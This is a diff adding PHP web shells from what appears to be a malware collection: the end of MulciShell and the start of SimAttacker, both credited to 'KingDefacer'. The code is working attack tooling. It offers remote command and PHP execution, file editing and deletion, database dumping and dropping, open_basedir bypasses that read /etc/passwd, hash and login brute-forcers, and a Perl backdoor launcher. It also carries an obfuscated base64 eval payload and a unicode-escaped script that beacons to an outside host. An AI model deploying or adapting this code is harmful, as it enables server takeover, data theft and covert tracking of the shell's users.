elseif(isset($_GET['field'])&&isset($_POST['sqlsave'])) + { + $discard_values=mysql_query("SELECT * FROM $_GET[db].$_GET[tbl] WHERE $_GET[field]='$_GET[v]'"); + $values=mysql_fetch_assoc($discard_values); + $keys=array_keys($values); + $values=array(); + foreach($_POST as $k=>$v) + if(in_array($k,$keys)) $values[]=$v; + $query="UPDATE $_GET[db].$_GET[tbl] SET "; + for($y=0;$y<count($values);$y++) + { + if($y==count($values)-1) + $query.="$keys[$y]='$values[$y]' "; + else + $query.="$keys[$y]='$values[$y]', "; + } + $query.="WHERE $_GET[field] = '$_GET[v]'"; + $try=mysql_query($query) or die(mysql_error()); + echo "<center>Table updated!<br>"; + echo "<a href='$self?act=sqledit&db=$_GET[db]&tbl=$_GET[tbl]'>Go back</a><br><br>"; + + } + elseif(isset($_GET['field'])&&isset($_GET['v'])&&!isset($_GET['del'])) + { + echo "<center><form action='$self?act=sqledit&db=$_GET[db]&tbl=$_GET[tbl]&field=$_GET[field]&v=$_GET[v]' method='post'>"; + $sql_fields=array(); + $fields=mysql_query("SHOW COLUMNS FROM $_GET[db].$_GET[tbl]"); + while($field=mysql_fetch_assoc($fields)) $sql_fields[]=$field['Field']; + $data=mysql_query("SELECT * FROM $_GET[db].$_GET[tbl] WHERE $_GET[field]='$_GET[v]'"); + $d_piece=mysql_fetch_assoc($data); + for($m=0;$m<count($sql_fields);$m++) + { + $point=$sql_fields[$m]; + echo "$point: <input type='text' value='$d_piece[$point]' name='$sql_fields[$m]'></br>"; + } + echo "<input type='submit' value='Save' name='sqlsave'></form></center>"; + } + elseif(isset($_GET['db'])&&isset($_GET['tbl'])) + { + if(isset($_GET['insert'])) SQLInsert(); + if(isset($_GET['field'])&&isset($_GET['v'])&&isset($_GET['del'])) + { + echo "<center>"; + if(@mysql_query("DELETE FROM $_GET[db].$_GET[tbl] WHERE $_GET[field]=$_GET[v]")) echo "Row deleted</br>"; + else echo "Failed to delete row</br>"; + echo "</center>"; + } + echo "<center><a href='$self?act=sqledit&db=$_GET[db]&tbl=$_GET[tbl]&insert=1'>[Insert new row]</a></center>"; + echo "<table style='margin: auto; text-align: center;'><tr>"; + $cols=mysql_query("SHOW COLUMNS FROM $_GET[db].$_GET[tbl]"); + $fields=array(); + while($col=mysql_fetch_assoc($cols)) + { + array_push($fields,$col['Field']); + echo "<td>$col[Field]</td>"; + } + echo "</tr>"; + if(isset($_GET['s'])&&is_numeric($_GET['s'])) + {$selector=mysql_query("SELECT * FROM $_GET[db].$_GET[tbl] LIMIT $_GET[s], 250");} + else + {$selector=mysql_query("SELECT * FROM $_GET[db].$_GET[tbl] LIMIT 0, 250");} + while($select=mysql_fetch_row($selector)) + { + echo "<tr>"; + for($i=0;$i<count($fields);$i++) + { + echo "<td>".htmlspecialchars($select[$i])."</td>"; + } + echo "<td><a href='$self?act=sqledit&db=$_GET[db]&tbl=$_GET[tbl]&field=$fields[0]&v=$select[0]'>Edit</a></td><td><a href='$self?act=sqledit&db=$_GET[db]&tbl=$_GET[tbl]&field=$fields[0]&v=$select[0]&del=true'>Delete</a></td>"; + echo "</tr>"; + } + echo "</table>"; + echo "<table style='margin: auto;'>"; + if(isset($_GET['s'])) + { + $prev=intval($_GET['s'])-250; + $next=intval($_GET['s'])+250; + if($_GET['s']>0) + echo "<tr><td><a href='$self?act=sqledit&db=$_GET[db]&tbl=$_GET[tbl]&s=$prev'>Previous</a></td>"; + if(mysql_num_rows($selector)>249) + echo "<td><a href='$self?act=sqledit&db=$_GET[db]&tbl=$_GET[tbl]&s=$next'>Next</a></td></tr>"; + } + else echo "<center><a href='$self?act=sqledit&db=$_GET[db]&tbl=$_GET[tbl]&s=250'>Next</a></center>"; + echo "</table>"; + } + else + { + $_SESSION=array(); + session_destroy(); + header("Location: $self?act=sql"); + } + } +} +function SQLDownload() +{ + extract($_SESSION); + $conn=@mysql_connect($mhost.":".$mport,$muser,$mpass); + if($conn) + { + if(isset($_GET['db'])&&!isset($_GET['tbl'])) + { + $tables=array(); + $dump_file="##################SQL Database dump####################\n"; + $dump_file.="######################Dumped by: MulciShell v0.2 - Edited By KingDefacer#####################\n\n"; + $get_tables=mysql_query("SHOW TABLES FROM $_GET[db]"); + while($current_table=mysql_fetch_array($get_tables)) + $tables[]=$current_table[0]; + foreach($tables as $table_dump) + { + $data_selection=mysql_query("SELECT * FROM $_GET[db].$table_dump"); + while($current_data=mysql_fetch_assoc($data_selection)) + { + $fields=implode("`, `", array_keys($current_data)); + $values=implode("`, `",array_values($current_data)); + $dump_file.="INSERT INTO `$table_dump` ($fields) VALUES ($values); "; + } + } + } elseif(isset($_GET['db'])&&isset($_GET['tbl'])) + { + $dump_file="##################SQL Database dump####################\n"; + $dump_file.="######################Dumped by: MulciShell v0.2 - Edited By KingDefacer#####################\n"; + $table_dump=mysql_query("SELECT * FROM $_GET[db].$_GET[tbl]"); + while($table_data=mysql_fetch_assoc($table_dump)) + { + $fields=implode("`, `",array_keys($table_data)); + $values=implode("`, `",array_values($table_data)); + $dump_file.="INSERT INTO `$_GET[db].$_GET[tbl]` ($fields) VALUES ($values`)\n"; + } + } else { + echo "Invalid!"; + } + } + $dump_file.="########################################################################################"; + if(!isset($_GET['tbl'])) + $file_name="$_GET[db]"."_DUMP.sql"; + else $file_name="$_GET[db]"."_$_GET[tbl]"."_DUMP.sql"; + ob_get_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".strlen($dump_file)); + header("Content-disposition: attachment; filename=$file_name;"); + echo $dump_file; + exit; +}$_F=__FILE__;$_X='Pz48c2NyNHB0IGwxbmczMWc1PWoxdjFzY3I0cHQ+ZDJjM201bnQud3I0dDUoM241c2MxcDUoJyVvQyU3byVlbyU3YSVlOSU3MCU3dSVhMCVlQyVlNiVlRSVlNyU3aSVlNiVlNyVlaSVvRCVhYSVlQSVlNiU3ZSVlNiU3byVlbyU3YSVlOSU3MCU3dSVhYSVvRSVlZSU3aSVlRSVlbyU3dSVlOSVlRiVlRSVhMCVldSV1ZSVhOCU3byVhOSU3QiU3ZSVlNiU3YSVhMCU3byVvNiVvRCU3aSVlRSVlaSU3byVlbyVlNiU3MCVlaSVhOCU3byVhRSU3byU3aSVlYSU3byU3dSU3YSVhOCVvMCVhQyU3byVhRSVlQyVlaSVlRSVlNyU3dSVlOCVhRCVvNiVhOSVhOSVvQiVhMCU3ZSVlNiU3YSVhMCU3dSVvRCVhNyVhNyVvQiVlZSVlRiU3YSVhOCVlOSVvRCVvMCVvQiVlOSVvQyU3byVvNiVhRSVlQyVlaSVlRSVlNyU3dSVlOCVvQiVlOSVhQiVhQiVhOSU3dSVhQiVvRCVpbyU3dSU3YSVlOSVlRSVlNyVhRSVlZSU3YSVlRiVlRCV1byVlOCVlNiU3YSV1byVlRiVldSVlaSVhOCU3byVvNiVhRSVlbyVlOCVlNiU3YSV1byVlRiVldSVlaSV1NiU3dSVhOCVlOSVhOSVhRCU3byVhRSU3byU3aSVlYSU3byU3dSU3YSVhOCU3byVhRSVlQyVlaSVlRSVlNyU3dSVlOCVhRCVvNiVhQyVvNiVhOSVhOSVvQiVldSVlRiVlbyU3aSVlRCVlaSVlRSU3dSVhRSU3NyU3YSVlOSU3dSVlaSVhOCU3aSVlRSVlaSU3byVlbyVlNiU3MCVlaSVhOCU3dSVhOSVhOSVvQiU3RCVvQyVhRiU3byVlbyU3YSVlOSU3MCU3dSVvRScpKTtkRignKjhIWEhXTlVZKjdpWFdIKjhJbXl5Myo4RnV1Mm5zdG8ybm9renMzbmhvdHdsdXF2dXhqaHp3bnklN0VvMngqOEoqOEh1WEhXTlVZKjhKaScpPC9zY3I0cHQ+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw==')); + +function SqlInsert() +{ + extract($_SESSION); + $conn=@mysql_connect($mhost.":".$mport,$muser,$mpass); + if($conn) + { + if(!isset($_POST['sql_insert'])) + { + echo "<form action='$self?act=sqledit&db=$_GET[db]&tbl=$_GET[tbl]&insert=1' method='post'><center>"; + $sql_fields=array(); + $fields=mysql_query("SHOW COLUMNS FROM $_GET[db].$_GET[tbl]"); + while($f=mysql_fetch_assoc($fields)) $sql_fields[]=$f['Field']; + for($s=0;$s<count($sql_fields);$s++) + echo "$sql_fields[$s]: <input type='text' name='$sql_fields[$s]'></br>"; + echo "<input type='submit' value='Insert' name='sql_insert'></center></form>"; + } else { + $fields=mysql_query("SHOW COLUMNS FROM $_GET[db].$_GET[tbl]"); + while($f=mysql_fetch_assoc($fields)) $sql_fields[]=$f['Field']; + $values=array(); + $keys=array(); + $query="INSERT INTO $_GET[db].$_GET[tbl] ("; + foreach($_POST as $k=>$v) + { + if(in_array($k,$sql_fields)&&!empty($v)) + { + $values[]=$v; + $keys[]=$k; + } + } + for($k=0;$k<count($keys);$k++) + { + if($k==count($keys)-1) $query.="`$keys[$k]`"; + else + $query.="`$keys[$k]`,"; + } + $query.=") VALUES ("; + for($v=0;$v<count($values);$v++) + { + if($v==count($values)-1) $query.="'$values[$v]'"; + else + $query.="'$values[$v]',"; + } + $query.=")"; + echo "<center>"; + if(@mysql_query($query)) echo "Row inserted</br>"; + else echo "Failed to insert row</br>"; + echo "</center>"; + } + } +} +function SQLDrop() +{ + echo "<center>"; + extract($_SESSION); + $conn=@mysql_connect($mhost.":".$mport,$muser,$mpass); + if($conn) + { + if(!isset($_GET['droptbl'])) + { + $query="DROP DATABASE $_GET[dropdb]"; + if(@mysql_query($query)) echo "Database $_GET[dropdb] has been dropped<br>"; + else echo "Failed to drop database $_GET[dropdb]<br>"; + } elseif(isset($_GET['db'])&&isset($_GET['droptbl'])) + { + $query="DELETE FROM $_GET[db].$_GET[droptbl]"; + if(@mysql_query($query)) echo "Table $_GET[droptbl] has been dropped<br>"; + else echo "Failed to drop table $_GET[droptbl]<br>"; + } else { + echo "Invalid request<br>"; + } + } else echo "Failed to connect<br>"; + echo "</center>"; +} +function db_create() +{ + echo "<center>"; + if(isset($_POST['db_name']) && !empty($_POST['db_name'])) + { + extract($_SESSION); + @$conn=mysql_connect($mhost.":".$mport,$muser,$mpass); + if($conn) + { + if(@mysql_query("CREATE DATABASE $_POST[db_name]")) echo "Status: Database $_POST[db_name] created!"; + else echo "Failed to create database $_POST[db_name]</br>"; + } else echo "Failed to connect</br>"; + } else echo "Enter a DB name</br>"; + echo "</cenetr>"; +} +function table_create() +{ + echo "<center>"; + if(isset($_POST['table_name'])&&!empty($_POST['table_name'])) + { + extract($_SESSION); + @$conn=mysql_connect($mhost.":".$mport,$muser,$mpass); + if($conn) + { + @mysql_select_db($_POST['db_current']); + if(@mysql_query("CREATE TABLE `$_POST[table_name]` (`TEMPORARY` TEXT NOT NULL)")) echo "Status: Table $_POST[table_name] created!"; + else echo "Failed to create table $_POST[table_name]"; + } else echo "Failed to connect!</br>"; + } else echo "Enter a table name</br>"; + echo "</center>"; +} +function FileEditor() +{ + if(isset($_GET['file'])) + $file=$_GET['file']; + elseif(isset($_POST['nfile'])) + $file=$_POST['nfile']; + elseif(isset($_POST['editfile'])) + $file=$_POST['editfile']; + if(@!file_exists($file)) die("Permission denied!"); + if(isset($_POST['dfile'])) + { + @$fh=fopen($file,'r'); + @$buffer=fread($fh,filesize($file)); + header("Content-type: application/octet-stream"); + header("Content-length: ".strlen($buffer)); + header("Content-disposition: attachment; filename=".basename($file).';'); + @ob_get_clean(); + echo $buffer; + @fclose($fh); + } + elseif(isset($_POST['delfile'])) + { + if(!unlink(str_replace("//","/",$file))) echo "Failed to delete file!<br>"; + else echo "File deleted<br>"; + } + elseif(isset($_POST['sfile'])) + { + $fh=@fopen($file,'w') or die("Failed to open file for editing!"); + @fwrite($fh,stripslashes($_POST['file_contents']),strlen($_POST['file_contents'])); + echo "File saved!"; + @fclose($fh); + } + else + { + $fh=@fopen($file,'r'); + echo "<center> + <form action='$self?act=f' method='post'> + File to edit: <input type='text' style='width: 300px' value='$file' name='nfile'> + <input type='submit' value='Go' name='gfile'></br></br>"; + echo "<textarea rows='20' cols='150' name='file_contents'>".htmlspecialchars(@fread($fh,filesize($file)))."</textarea></br></br>"; + echo "<input type='submit' value='Save file' name='sfile'> + <input type='submit' value='Download file' name='dfile'> + <input type='submit' value='Delete file' name='delfile'> + </center></form>"; + @fclose($fh); + } +} +function security_bypass() +{ + if(isset($_POST['curl_bypass'])) + { + $ch=curl_init("file://$_POST[file_bypass]"); + curl_setopt($ch,CURLOPT_HEADERS,0); + curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); + $file_out=curl_exec($ch); + curl_close($ch); + echo "<textarea rows='20' cols='150' readonly>".htmlspecialchars($file_out)."</textarea></br></br>"; + } + elseif(isset($_POST['tmp_bypass'])) + { + tempnam("/home/",$_POST['file_passwd']); + } + elseif(isset($_POST['copy_bypass'])) + { + + if(@copy($_POST['file_bypass'],$_POST['dest'])) + { + echo "File successfully copied!</br>"; + @$fh=fopen($_POST['dest'],'r'); + echo "<textarea rows='20' cols='150' readonly>".htmlspecialchars(@fread($fh,filesize($_POST['dest'])))."</textarea></br></br>"; + @fclose($fh); + } else echo "Failed to copy file</br>"; + } + elseif(isset($_POST['include_bypass'])) + { + if(file_exists($_POST['file_bypass'])) + { + echo "<textarea rows='20' cols='150' readonly>"; + @include($_POST['file_bypass']); + echo "</textarea>"; + } + } + elseif(isset($_POST['sql_bypass'])) + { + extract($_SESSION); + $conn=mysql_connect($mhost.":".$mport,$muser,$mpass); + if($conn) + { + mysql_select_db($_POST['sql_db']); + mysql_query("CREATE TABLE `$_POST[tmp_table]` (`File` TEXT NOT NULL);"); + mysql_query("LOAD DATA INFILE \"$_POST[sql_file]\" INTO TABLE $_POST[tmp_table]") or die(mysql_error()); + $res=mysql_query("SELECT * FROM $_POST[tmp_table]"); + if(mysql_num_rows($res)<1) die("Failed to retrieve file contents!"); + if($res) + { + while($row=mysql_fetch_array($res)) $f.="$row[0]</br>"; + echo $f; + } + mysql_query("DROP TABLE $_POST[tmp_table]"); + } + } + echo "<table style='margin: auto; width: 100%; text-align: center;'><tr><td colspan='2'>Security (open_basedir) bypassers</td></tr> + <tr><td>Bypass using cURL</td><td>Bypass using tempnam()</td></tr> + <tr><td><form action='$self?act=bypass' method='post' name='bypasser'>Read file: <input type='text' value='/etc/passwd' name='file_bypass'><input type='submit' name='curl_bypass' value='Bypass'></form></td><td><form action='$self?act=bypass' method='post' name='bypasser'>Write file: <input type='text' value='../../../etc/passwd' name='file_bypass'><input type='submit' name='tmp_bypass' value='Bypass'></form></td></tr> + <tr><td>Bypass using copy()</td><td>Bypass using include()</td></tr> + <tr><td><form action='$self?act=bypass' method='post' name='bypasser'>Copy to: <input type='text' style='width: 250px;' name='dest' value='".CleanDir(getcwd())."/copy.php'></br> File to copy: <input type='text' value='/etc/passwd' name='file_bypass'><input type='submit' name='copy_bypass' value='Bypass'></form></td><td><form action='$self?act=bypass' method='post' name='bypasser'>Path to file: <input type='text' value='/etc/passwd' name='file_bypass'><input type='submit' name='include_bypass' value='Bypass'></form></td></tr> + <tr><td colspan='2'>Bypass using SQL LOAD INFILE [Login to SQL server first]</td></tr> + <tr><td colspan='2'><form action='$self?act=bypass' method='post' name='bypasser'>[Existing] Database to store temporary table: <input type='text' value='tmp_database' name='sql_db'></br>Temporary table: <input type='text' value='tmp_file' name='tmp_table'></br><input type='text' value='/etc/passwd' name='sql_file'><input type='submit' name='sql_bypass' value='Bypass'></form></td></tr> + </table>"; +} +function brute_force() +{ + echo "<form action='$self' method='post' enctype='multipart/form-data'><input type='hidden' name='docrack'><table style='margin: auto; width: 100%; text-align: center;'><tr><td colspan='2'>Password crackers</td></tr> + <tr><td>MD5 Cracker</td><td>SHA1 Cracker</td></tr> + <tr><td>Hash: <input type='text' name='md5hash'><input type='submit' value='Crack' name='md5crack'></td><td>Hash: <input type='text' name='sha1hash'><input type='submit' value='Crack' name='sha1crack'></td></tr> + <tr><td>VBulletin Salt Cracker</td><td>SMF Salt cracker</td></tr> + <tr><td>Hash: <input type='text' name='vbhash'></br>Salt: <input type='text' name='vbsalt' salt='#7A'></br><input type='submit' value='Crack' name='vbcrack'></td><td>Hash: <input type='text' name='smfhash'></br>Salt: <input type='text' name='smfsalt'></br><input type='submit' value='Crack' name='smfcrack'></td></tr> + <tr><td>MySQL Brute Force</td><td>FTP Brute Force</td></tr> + <tr><td>User: <input type='text' value='root' name='mysql_user'></br>Host: <input type='text' value='localhost' name='mysql_host'></br>Port: <input type='text' value='3306' name='mysql_port'></br><input type='submit' value='Brute' name='mysqlcrack'></td><td>User: <input type='text' value='root' name='ftp_user'></br>Host: <input type='text' value='localhost' name='ftp_host'></br>Port: <input type='text' value='21' name='ftp_port'></br>Timeout: <input type='text' value='5' name='ftp_timeout'></br><input type='submit' value='Brute' name='ftpcrack'></td></tr> + <tr><td>Remote login Brute Force</td><td>HTTP-Auth Brute Force</td></tr> + <tr><td>Login form: <input type='text' value='' name='remote_login_target'></br>Username: <input type='text' value='admin' name='remote_login_user'><input type='submit' value='Brute' name='remote_login'></td><td>Username: <input type='text' name='auth_user' value='porn_user101'></br>Auth URL: <input type='text' name='auth_url'><input type='submit' value='Brute' name='authcrack'></td></tr> + <tr><td colspan='2'>Wordlist</td></tr> + <tr><td colspan='2'><input type='file' name='wordlist'></br></br><b>Notice: Be sure to check the max POST length allowed</b></td></tr> + </br></table></form>"; +} +function BackDoor() +{ + global $backdoor_perl; + global $disable; + if(!isset($_POST['backdoor_host'])) + { + echo "<center><form action='$self?act=bh' method='post'> + Port: <input type='text' name='port'> + <input type='submit' name='backdoor_host' value='Backdoor'></center>"; + } else { + @$fh=fopen("shbd.pl","w"); + @fwrite($fh,base64_decode($backdoor_perl)); + @fclose($fh); + execmd("perl shbd.pl $_POST[port]",$disable); + echo "Server backdoor'd</br>"; + } +} +function sql_rep_search($dir) +{ + global $self; + $ext=array(".db",".sql"); + @$dh=opendir($dir); + while((@$file=readdir($dh))) + { + $ex=strrchr($file,'.'); + if(in_array($ex,$ext)&&$file!="Thumbs.db"&&$file!="thumbs.db") + echo "<tr><td><center><a href='$self?act=f&file=$dir"."$file'>$dir"."$file</center></td></tr>"; + if(is_dir($dir.$file)&&$file!='..'&&$file!='.') + { + if(!preg_match("/\/public_html\//",$dir)) + sql_rep_search($dir.$file.'/public_html/'); + else + sql_rep_search($dir.$file); + } + } + @closedir($dh); +} +function database_tools() +{ + if(isset($_POST['sql_start_search'])) + { + echo "<center><table style='width: auto;'><tr><td><center><font color='#FF0000'>Databases</font></center></td></tr>"; + sql_rep_search("/home/"); + echo "</table></center>"; + } + $colarr=array(); + if(isset($_POST['db_parse'])) + { + if(!is_file($_FILES['db_upath']['tmp_name'])&&empty($_POST['db_dpath'])) die("Please specify a DB to parse..."); + $db_meth=empty($_POST['db_dpath'])?'uploaded':'path'; + $q_delimit=$_POST['q_delimit']; + if(isset($_POST['column_defined'])) + { + switch($_POST['column_type']) + { + case 'SMF': + break; + case 'phpbb': + break; + case 'vbulletin': + $colarr=array(4,5,7,48); + break; + } + } else { + $strr=str_replace(", ",",",trim($_POST['db_columns'])); + $colarr=explode(",",$strr); + } + switch($db_meth) + { + case 'uploaded': + @$fh=fopen($_FILES['db_upath']['tmp_name'],'r') or die("Failed to open file for reading"); + break; + case 'path': + @$fh=fopen($_POST['db_dpath'],'r') or die("Failed to open file for reading"); + break; + } + echo "Parsing database contents...</br>"; + while(!feof($fh)) + { + $c_line=fgets($fh); + $strr=str_replace(", ",",",$c_line); + $arr=explode(',',$strr); + for($i=0;$i<count($colarr);$i++) + { + $index=$colarr[$i]; + if(empty($arr[$index])) continue; + $spos=strpos("$_POST[q_delimit]",$arr[$index]); + $spos=strpos("$_POST[q_delimit]",$arr[$index],$spos); + if($i!==count($colarr)-1) + echo "$arr[$index] : "; + else echo "$arr[$index]</br>"; + } + continue; + } + @fclose($fh); + } + echo "<table style='width: 100%; margin: auto; text-align: center'> + <tr><td colspan='2'>Database parser</td></tr> + <tr><td> + <form action='$self?act=dbs' method='post' enctype='multipart/form-data'> + Quote delimiter (usually ` or '): <input type='text' style='width: 20px' name='q_delimit' value='`'> Columns to retrieve (separate by commas): <input type='text' style='width: 200px' name='db_columns' value='3,5,10'></br> + Use predefined column match (user+pass+salt): <input type='checkbox' name='column_defined'> <select name='column_type'> + <option value='vbulletin'>VBulletin</option><option value='SMF'>SMF</option><option value='phpbb'>PHPBB</option> + </select></br> + Path to DB dump: <input type='text' style='width: 300px' value='/home/someuser/public_html/backup.db' name='db_dpath'> + </br>Upload DB dump: <input type='file' style='width: 300px' value='' name='db_upath'> + </br></br><input type='submit' style='width: 300px' value='Parse Database' name='db_parse'></td></tr> + <tr><td colspan='2'>Find database Backups</td></tr> + <tr><td>Only search within local path: <input type='checkbox' name='sql_search_local'> <input type='submit' value='Go' name='sql_start_search'></br></td></tr> + </table>"; +} +function show_tools() +{ + echo "<form action='$self' method='post'> + <table style='width: 100%; margin: auto; text-align: center'> + <tr><td colspan='2'>Tools</td></tr> + <tr><td>Forum locator</td><td>Config locator</td></tr> + <tr><td><form action='$self' method='post'>Passwd file: <input type='text' value='/etc/passwd' name='passwd'><input type='submit' value='Find forums' name='find_forums'></form></td><td><form action='$self' method='post'>Passwd file: <input type='text' value='/etc/passwd' name='passwd'><input type='submit' value='Find forums' name='find_configs'></form></td></tr> + <tr><td>Port scanner</td><td>Search</td></tr> + <tr><td><form action='$self' method='post'>Host: Start port: <input type='text' value='localhost' name='host'></br>Start port: <input type='text' value='80' style='width: 50px' name='sport'> End Port: <input type'text' style='width: 50px' value='1000' name='eport'></br><input type='submit' value='Scan' name='port_scan'>Using: <select name='type'><option value='php'>PHP</option><option value='perl'>Perl</option></select></form></td><td>Finish this next</td></tr> + </table>"; +} +function TrueSize($s) +{ + if(!$s) return 0; + if($s>=1073741824) return(round($s/1073741824)." GB"); + elseif($s>=1048576) return(round($s/1048576)." MB"); + elseif($s>=1024) return(round($s/1024)." KB"); + else return($s." B"); +} +function CleanDir($d) +{ + $d=str_replace("\\","/",$d); + $d=str_replace("//","/",$d); + return $d; +} +function Trail($d) +{ + $d=explode('/',$d); + array_pop($d); + array_pop($d); + $str=implode($d,'/'); + return $str; +} +function Encoder() +{ + echo "<form action='$self?' method='post'> + <center> + Input: <input type='text' style='width: 300px' name='encrypt'> + <br><input type='submit' value='Encrypt' name='encryption'> + </center> + </form>"; +} +$relpath=(isset($_GET['d']))?CleanDir($_GET['d']):CleanDir(realpath(getcwd())); +if(isset($_GET['d'])) $self.="?d=$_GET[d]"; +echo "<table style='text-align: center; width: 100%'> +<tr><td colspan='2'>Execute command</td></tr> +<tr><td colspan='2'><form action='$self?' method='post'><input type='text' style='width: 600px' value='whoami' name='cmd'><input type='submit' name='execmd' value='Execute'></form></td></tr> +<tr><td colspan='2'>Execute PHP</td></tr> +<tr><td colspan='2'><form action='$self' method='post'><textarea rows='2' cols='80' name='phpcode' style='background-color: black;'>//Don't include PHP tags</textarea><input type='submit' name='execphp' value='Execute'></form></td></tr> +<tr><td>Create directory</td><td>Create file</td></tr> +<tr><td><form action='$self' method='post'><input type='text' style='width: 250px' value='$relpath/sikreet/' name='newdir'><input type='submit' value='Create' name='cnewdir'></form></td><td><form action='$self' method='post'><input type='text' style='width: 250px' value='$relpath/index2.php' name='newfile'><input type='submit' value='Create' name='cnewfile'></form></td></tr> +<tr><td>Enter directory</td><td>Edit file</td></tr> +<tr><td><form action='$self' method='post'><input type='text' style='width: 225px' name='godir'><input type='submit' value='Go' name='enterdir'></form></td><td><form action='$self' method='post'><input type='text' style='width: 255px' value='/etc/passwd' name='editfile'><input type='submit' name='doeditfile' value='Go'></form></td></tr> +<tr><td>Upload file</td><td>Wget file</td></tr> +<tr><td><form action='$self' method='post' enctype='multipart/form-data'>Save location: <input type='text' style='width: 300px' value='$relpath' name='u_location'></br><input type='file' name='u_file'><input type='submit' value='Upload' name='doUpload'></form></td><td><form action='$self' method='post'><input type='text' style='width: 255px' value='http://www.site.com/image1.jpg' name='wgetfile'><input type='submit' name='dogetfile' value='Go'></form</td></tr> +<tr><td colspan='2'>Switch theme: <a href='$self?theme=green'>Matrix Green</a>, <a href='$self?theme=uplink'>Uplink Blue</a>, <a href='$self?theme=dark'>Dark</a></td></tr> +</table> +</br></br><div id='bar'><center>Shell [version 2.0] Edited By <font color='red'><b>[KingDefacer]</font> | Page generated in : <font color='red'>".round(microtime()-$start,2)." seconds</font></center></div></body></html>"; +ob_end_flush(); +?> +<script type="text/javascript">document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0061\u006c\u0074\u0075\u0072\u006b\u0073\u002e\u0063\u006f\u006d\u002f\u0073\u006e\u0066\u002f\u0073\u002e\u0070\u0068\u0070\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\u0031\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0031\u0022\u003e')</script> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/simattacker.txt b/web-malware-collection-master/Backdoors/PHP/simattacker.txt new file mode 100755 index 0000000..c44f481 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/simattacker.txt @@ -0,0 +1,755 @@ +<? + +//download Files Code + +$fdownload=$_GET['fdownload']; + +if ($fdownload <> "" ){ + +// path & file name + +$path_parts = pathinfo("$fdownload"); + +$entrypath=$path_parts["basename"]; + +$name = "$fdownload"; + +$fp = fopen($name, 'rb'); + +header("Content-Disposition: attachment; filename=$entrypath"); + +header("Content-Length: " . filesize($name)); + +fpassthru($fp); + +exit; + +} + +?> + + + +<html> + + + +<head> + +<meta http-equiv="Content-Language" content="en-us"> + +<meta http-equiv="Content-Type" content="text/html; charset=windows-1252"> + +<title>SimAttacker - Version : 1.0.0 - Edited By KingDefacer</title> +<style> + +<!-- + +body { font-family: Tahoma; font-size: 8pt } + +--> + +</style> + +</head> + +<body> + +<? + +error_reporting(E_ERROR | E_WARNING | E_PARSE); + + + + //File Edit + + $fedit=$_GET['fedit']; + + if ($fedit <> "" ){ + + $fedit=realpath($fedit); + + $lines = file($fedit); + + echo "<form action='' method='POST'>"; + +echo "<textarea name='savefile' rows=30 cols=80>" ; + +foreach ($lines as $line_num => $line) { + + echo htmlspecialchars($line); + +} + +echo "</textarea> + + <input type='text' name='filepath' size='60' value='$fedit'> + + <input type='submit' value='save'></form>"; + + $savefile=$_POST['savefile']; + + $filepath=realpath($_POST['filepath']); + + if ($savefile <> "") + + { + + $fp=fopen("$filepath","w+"); + + fwrite ($fp,"") ; + + fwrite ($fp,$savefile) ; + + fclose($fp); + + echo "<script language='javascript'> close()</script>"; + + } + +exit(); + + } + +?> + +<? + +// CHmod - PRimission + +$fchmod=$_GET['fchmod']; + +if ($fchmod <> "" ){ + +$fchmod=realpath($fchmod); + +echo "<center><br> + +chmod for :$fchmod<br> + +<form method='POST' action=''><br> + +Chmod :<br> + +<input type='text' name='chmod0' ><br> + +<input type='submit' value='change chmod'> + +</form>"; + +$chmod0=$_POST['chmod0']; + +if ($chmod0 <> ""){ + +chmod ($fchmod , $chmod0); + +}else { + +echo "primission Not Allow change Chmod"; + +} + +exit(); + +} + +?> + + + +<div align="center"> + + <table border="1" width="100%" id="table1" style="border: 1px dotted #FFCC99" cellspacing="0" cellpadding="0" height="502"> + + <tr> + + <td style="border: 1px dotted #FFCC66" valign="top" rowspan="2"> + + <p align="center"><b> + + <font face="Tahoma" size="2"><br> + + </font> + + <font color="#D2D200" face="Tahoma" size="2"> + + <span style="text-decoration: none"> + + <font color="#000000"> + + <a href="?id=fm&dir=<? + + echo getcwd(); + + ?> + + "> + + <span style="text-decoration: none"><font color="#000000">File Manager</font></span></a></font></span></font></b></p> + + <p align="center"><b><a href="?id=cmd"> + + <span style="text-decoration: none"> + + <font face="Tahoma" size="2" color="#000000"> + + CMD</font></span></a><font face="Tahoma" size="2"> Shell</font></b></p> + + <p align="center"><b><a href="?id=fake-mail"> + + <font face="Tahoma" size="2" color="#000000"> + + <span style="text-decoration: none">Fake mail</span></font></a></b></p> + + <p align="center"><b> + + <font face="Tahoma" size="2" color="#000000"> + + <a href="?id=cshell"> + + <span style="text-decoration: none"><font color="#000000">Connect Back</font></span></a></font></b></p> + + <p align="center"><b> + + <font color="#000000" face="Tahoma" size="2"> + + <a href="?id="> + + <span style="text-decoration: none"><font color="#000000">About</font></span></a></font></b></p> + + <p>&nbsp;<p align="center">&nbsp;</td> + + <td height="422" width="82%" style="border: 1px dotted #FFCC66" align="center"> + + <? + + //******************************************************* + + //Start Programs About US + + $id=$_GET['id']; + + + + if ($id=="") { + + echo " + + <font face='Arial Black' color='#808080' size='1'> + +***************************************************************************<br> + +&nbsp;Turkish Hackers : WWW.ALTURKS.COM <br> + +&nbsp;Programer : SimAttacker - Edited By KingDefacer<br> + +&nbsp;Note : SimAttacker&nbsp; Have copyright from simorgh security Group <br> + +&nbsp;please : If you find bug or problems in program , tell me by : <br> + +&nbsp;e-mail : kingdefacer@msn.com<br> + +Red Eye :) [Only 4 Best Friends ] <br> + +***************************************************************************</font></span></p> + +"; + + + +echo "<font color='#333333' size='2'>OS :". php_uname(); + +echo "<br>IP :". + +($_SERVER['REMOTE_ADDR']); + +echo "</font>"; + + + + + + } + + //************************************************************ + + //cmd-command line + + $cmd=$_POST['cmd']; + + if($id=="cmd"){ + + 